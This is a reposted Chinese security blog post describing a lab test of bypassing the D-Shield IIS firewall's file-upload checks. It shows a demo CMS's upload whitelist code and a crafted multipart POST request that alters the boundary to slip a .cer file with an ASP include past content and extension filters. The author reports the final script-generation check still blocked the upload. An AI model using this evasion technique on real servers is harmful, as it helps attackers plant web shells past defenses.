D盾防火墙安全防护绕过-[文件上传]

admin 2022年2月14日12:01:42评论505 views字数 2802阅读9分20秒阅读模式
声明:该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。


0x01 前言

这个系列的绕过方式都是2019年测试的,当时测试版本为D盾v2.1.4.4,目前最新版本为D盾v2.1.6.2。安全防护的绕过方式都有时效性,所以以前测试的绕过方法可能大部分都已经失效了,但还是分享出来供大家参考下吧,有兴趣的可以自己去测试下最新版!


0x02 测试环境与基本信息

操作系统:Windows Server 2008 R2 x64软件版本:Dv2.1.4.4 [测试版]进程名称:d_manage.exe[D盾服务程序]D_Safe_Manage.exe[D盾管理程序]服务名称:d_safe [D盾_服务程序(提供网站和服务器安全服务)]


用于测试的演示源码为南方数据V11,主要为Upload_Photo.asp、Config.asp这两个文件,上传限制代码如下,是基于白名单来进行限制的,程序代码允许上传cer,但D盾防火墙禁止上传cer。

<%@language=vbscript codepage=936 %><!--#include file="Inc/config.asp"--><!--#include file="Inc/upfile_class.asp"--><%[...SNIP...]if fileEXT="asp" or fileEXT="asa" or fileEXT="aspx" then  '检测上传文件扩展名  EnableUpload=falseend ifif EnableUpload=false then  msg="这种文件类型不允许上传!nn只允许上传这几种文件类型:" & UpFileType  FoundErr=trueend if[...SNIP...]%>
Const MaxFileSize=200         '上传文件大小限制Const SaveUpFilesPath="UploadFiles"        '存放上传文件的目录Const UpFileType="gif|jpg|bmp|png|swf|doc|rar|cer|asa"         '允许的上传文件类型Const DelUpFiles="Yes"        '删除文章时是否同时删除文章中的上传文件Const SessionTimeout=30       'Session会话的保持时间

0x03 防护绕过-[文件上传]

功能介绍:

D盾防火墙的上传文件防护功能主要用于检测:上传文件内容、上传扩展白名单、上传文件内容头、禁止脚本生成、文件内容长度限制等等。

禁止上传内容中存在代码! "filename":"bypass.jpg"禁止上传此扩展的文件! "filename":"bypass.cer"[][上传文件:bypass.jpg 内容不符][filename] 3C 25 0D 0A 44 69 6D 20 44 61 69 6D │<% Dim Daim[禁止][上传模式禁脚本生成] C:inetpubwwwrootnanfangUploadFiles20191243227714.cer<!--#include file="888888888888888888888888888888888888888888888888888888888888888888888888.inc"-->
D盾防火墙安全防护绕过-[文件上传]

图2-4-1 D盾防火墙上传文件防护规则

D盾防火墙安全防护绕过-[文件上传]

图2-4-2 D盾检测上传文件内容和扩展名


解决方案:

利用Boundary来绕过D盾防火墙的上传文件防护功能,在HTTP数据包上传文件名的Boundary末尾处添加一个换行符,或者删除一个横杠即可绕过。

POST /nanfang/Upfile_Photo.asp HTTP/1.1Host: 192.168.0.108User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Referer: http://192.168.0.108/nanfang/upload_Photo.asp?PhotoUrlID=6Content-Type: multipart/form-data; boundary=---------------------------491299511942[...SNIP...]
-----------------------------491299511942
Content-Disposition: form-data; name="FileName"; filename="bypass.cer";Content-Type: image/jpeg
<!--#include file="888888888888888888888888888888888888888888888888888888888888888888888888.inc"-->[...SNIP...]
----------------------------491299511942Content-Disposition: form-data; name="FileName"; filename="bypass.cer";Content-Type: image/jpeg
<!--#include file="888888888888888888888888888888888888888888888888888888888888888888888888.inc"-->[...SNIP...]
D盾防火墙安全防护绕过-[文件上传]

图2-4-3 Boundary边界换行符绕过上传


注意事项:

虽然已经通过换行符、删除横杠的方式绕过了D盾防火墙文件上传防护中的文件内容、扩展名、文件头的检测,但是最后“脚本生成”还是没能绕过,上传的文件还是被拦截了,不得不承认D哥的盾防火墙在IIS防护中做的还是很强的,脚本生成、一句话免疫、执行系统命令等几个防护都不是很好绕,也可能是我太菜了。



关 注 有 礼



关注公众号回复“9527”可以免费领取一套HTB靶场文档和视频,1120”安全参考等杂志电子版,1208”个人常用高效爆破字典0221”2020年酒仙桥文章打包2191潇湘信安文章打包,“1212”在线杀软对比源码+数据源。

D盾防火墙安全防护绕过-[文件上传] 还在等什么?赶紧点击下方名片关注学习吧!D盾防火墙安全防护绕过-[文件上传]


推 荐 阅 读




D盾防火墙安全防护绕过-[文件上传]
D盾防火墙安全防护绕过-[文件上传]
D盾防火墙安全防护绕过-[文件上传]

欢 迎 私 下 骚 扰



D盾防火墙安全防护绕过-[文件上传]

原文始发于微信公众号(潇湘信安):D盾防火墙安全防护绕过-[文件上传]

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年2月14日12:01:42
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   D盾防火墙安全防护绕过-[文件上传]https://cn-sec.com/archives/776948.html

发表评论

匿名网友 填写信息